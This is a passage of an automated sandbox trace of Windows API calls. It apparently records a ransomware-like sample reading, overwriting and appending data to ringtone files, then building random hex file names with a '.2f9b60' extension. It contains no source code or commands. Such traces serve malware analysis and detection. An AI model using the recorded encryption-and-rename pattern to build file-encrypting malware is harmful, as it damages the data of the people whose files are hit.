0x423a0da0 [0232.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d70 [0232.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bf0 [0232.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bf0) returned 1 [0232.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0232.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0232.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61e70 [0232.837] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="75") returned 2 [0232.837] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="e8") returned 2 [0232.837] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="2f") returned 2 [0232.837] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="cf") returned 2 [0232.837] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="af") returned 2 [0232.837] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="42") returned 2 [0232.837] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="2c") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="00") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="02") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="b4") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="ec") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="fb") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="38") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="da") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="46") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="05") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="42") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="0b") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="fb") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="c8") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="7f") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="09") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="68") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="49") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="37") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="86") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="6d") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="34") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="1a") returned 2 [0232.838] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="75") returned 2 [0232.838] RtlInitAnsiString (in: DestinationString=0x3ccdf708, SourceString="75e82fcfaf422c0002b4ecfb38da4605420bfbc87f09684937866d341a75" | out: DestinationString="75e82fcfaf422c0002b4ecfb38da4605420bfbc87f09684937866d341a75") [0232.838] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ccdf6d8, SourceString="75e82fcfaf422c0002b4ecfb38da4605420bfbc87f09684937866d341a75", AllocateDestinationString=1 | out: DestinationString="75e82fcfaf422c0002b4ecfb38da4605420bfbc87f09684937866d341a75") returned 0x0 [0232.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202ae650 [0232.839] wcscat (in: _Dest=0x202ae800, _Source="75e82fcfaf422c0" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\75e82fcfaf422c0") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\75e82fcfaf422c0" [0232.839] wcscat (in: _Dest=0x202ae800, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\75e82fcfaf422c0.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\75e82fcfaf422c0.2f9b60" [0232.840] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\75e82fcfaf422c0.2f9b60", NtPathName=0x3ccdf6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\75e82fcfaf422c0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0232.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f27d0 Thread: id = 2695 os_tid = 0x2288 [0157.726] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma")) returned 0x20 [0159.601] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma", dwFileAttributes=0x20) returned 1 [0159.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2838 [0159.637] GetFileSizeEx (in: hFile=0x2838, lpFileSize=0x3ce1fbe0 | out: lpFileSize=0x3ce1fbe0*=94457) returned 1 [0159.637] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x170f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.637] ReadFile (in: hFile=0x2838, lpBuffer=0x3ce1fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ce1fba8, lpOverlapped=0x0 | out: lpBuffer=0x3ce1fb60*, lpNumberOfBytesRead=0x3ce1fba8*=0x4, lpOverlapped=0x0) returned 1 [0160.612] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fb0 [0160.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fe0 [0160.613] NtQuerySystemTime (in: CurrentTime=0x3ce1faa0 | out: CurrentTime=0x3ce1faa0*=132462177657418000) returned 0x0 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x31e2e98 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x31b34c7a [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x2bb22b6c [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x2c4339b1 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x14aa9900 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x260fac8a [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x50c543e1 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x44fe1e77 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x30f42654 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x7a918d50 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x1b459e68 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x56be7988 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x6cca59a0 [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x5c50eabe [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x63b1a73b [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x503c20ed [0160.613] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x7e27e560 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x1e2ea172 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x11e2dd39 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x442c6bb1 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x58d5ee35 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0xd127be5 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x7d823d8f [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x3e4ebb87 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x70dff630 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x8877269 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x40b25b18 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x7b10a9bd [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x7bb23b94 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x4b6cd0f5 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x67461e62 [0160.614] RtlRandomEx (in: Seed=0x3ce1fa90 | out: Seed=0x3ce1fa90) returned 0x786a40bd [0160.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1010 [0160.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0160.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1040 [0160.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0160.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0fe0) returned 1 [0160.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d7950 [0160.622] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.622] ReadFile (in: hFile=0x2838, lpBuffer=0x202d7950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ce1fb00, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesRead=0x3ce1fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0161.174] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b60 [0161.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b60) returned 1 [0161.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0161.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b60 [0161.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b90 [0161.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b90) returned 1 [0161.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.176] WriteFile (hFile=0x2838, lpBuffer=0x20180d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ce1fb00, lpOverlapped=0x0) [0198.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0198.330] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.330] ReadFile (in: hFile=0x2838, lpBuffer=0x202d7950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ce1fb00, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesRead=0x3ce1fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0199.010] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be60 [0199.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313be60) returned 1 [0199.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423500b0 [0199.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be60 [0199.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be90 [0199.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313be90) returned 1 [0199.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.014] WriteFile (in: hFile=0x2838, lpBuffer=0x423500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ce1fb00, lpOverlapped=0x0 | out: lpBuffer=0x423500b0*, lpNumberOfBytesWritten=0x3ce1fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0214.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423500b0) returned 1 [0214.026] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.026] ReadFile (in: hFile=0x2838, lpBuffer=0x202d7950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ce1fb00, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesRead=0x3ce1fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0214.027] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265790 [0214.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265790) returned 1 [0214.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423500b0 [0214.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265790 [0214.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267620 [0214.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267620) returned 1 [0214.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.031] WriteFile (in: hFile=0x2838, lpBuffer=0x423500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ce1fb00, lpOverlapped=0x0 | out: lpBuffer=0x423500b0*, lpNumberOfBytesWritten=0x3ce1fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0228.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423500b0) returned 1 [0228.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf910 [0228.074] SetFilePointerEx (in: hFile=0x2838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.074] WriteFile (in: hFile=0x2838, lpBuffer=0x134100*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3ce1fbb0, lpOverlapped=0x0 | out: lpBuffer=0x134100*, lpNumberOfBytesWritten=0x3ce1fbb0*=0x150, lpOverlapped=0x0) returned 1 [0232.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0232.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0232.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0f80 [0232.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0f80) returned 1 [0232.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0f80 [0232.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0f50 [0232.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0dd0 [0232.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0dd0) returned 1 [0232.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0232.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0232.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61e70 [0232.846] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="d1") returned 2 [0232.846] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="8f") returned 2 [0232.846] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="08") returned 2 [0232.846] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="71") returned 2 [0232.846] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="80") returned 2 [0232.846] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="36") returned 2 [0232.846] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="3d") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="43") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="91") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="cb") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="9f") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="5c") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="8d") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="ec") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="0b") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="7b") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="62") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="42") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="da") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="48") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="30") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="a6") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="78") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="63") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="71") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="3a") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="35") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="5d") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="8a") returned 2 [0232.847] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="68") returned 2 [0232.847] RtlInitAnsiString (in: DestinationString=0x3ce1fc28, SourceString="d18f087180363d4391cb9f5c8dec0b7b6242da4830a67863713a355d8a68" | out: DestinationString="d18f087180363d4391cb9f5c8dec0b7b6242da4830a67863713a355d8a68") [0232.847] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ce1fbf8, SourceString="d18f087180363d4391cb9f5c8dec0b7b6242da4830a67863713a355d8a68", AllocateDestinationString=1 | out: DestinationString="d18f087180363d4391cb9f5c8dec0b7b6242da4830a67863713a355d8a68") returned 0x0 [0232.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x20509cc0 [0232.849] wcscat (in: _Dest=0x2050aad0, _Source="d18f087180363d4" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\d18f087180363d4") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\d18f087180363d4" [0232.849] wcscat (in: _Dest=0x2050aad0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\d18f087180363d4.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\d18f087180363d4.2f9b60" [0232.849] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\d18f087180363d4.2f9b60", NtPathName=0x3ce1fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\d18f087180363d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0232.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f4350 Thread: id = 2696 os_tid = 0x228c [0157.727] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma")) returned 0x20 [0159.607] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma", dwFileAttributes=0x20) returned 1 [0159.625] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2858 [0159.638] GetFileSizeEx (in: hFile=0x2858, lpFileSize=0x328af8c0 | out: lpFileSize=0x328af8c0*=94457) returned 1 [0159.638] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x170f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.638] ReadFile (in: hFile=0x2858, lpBuffer=0x328af840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x328af888, lpOverlapped=0x0 | out: lpBuffer=0x328af840*, lpNumberOfBytesRead=0x328af888*=0x4, lpOverlapped=0x0) returned 1 [0160.632] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1070 [0160.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1100 [0160.633] NtQuerySystemTime (in: CurrentTime=0x328af780 | out: CurrentTime=0x328af780*=132462177657730000) returned 0x0 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x4ffc5ec8 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3e09acba [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x74ed9b44 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0xda674d7 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x27e7d112 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3398bfb1 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3a83f6c3 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x34839811 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0xe5f917d [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x70bd901b [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0xb35efe1 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x5e25d9ea [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x7b84beb3 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0xf04535c [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x459893a1 [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x795481ee [0160.633] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x7936b2de [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x35ef30c5 [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x38a393fa [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3b067e1c [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3cbfc79c [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x75ff98e [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x1800339c [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 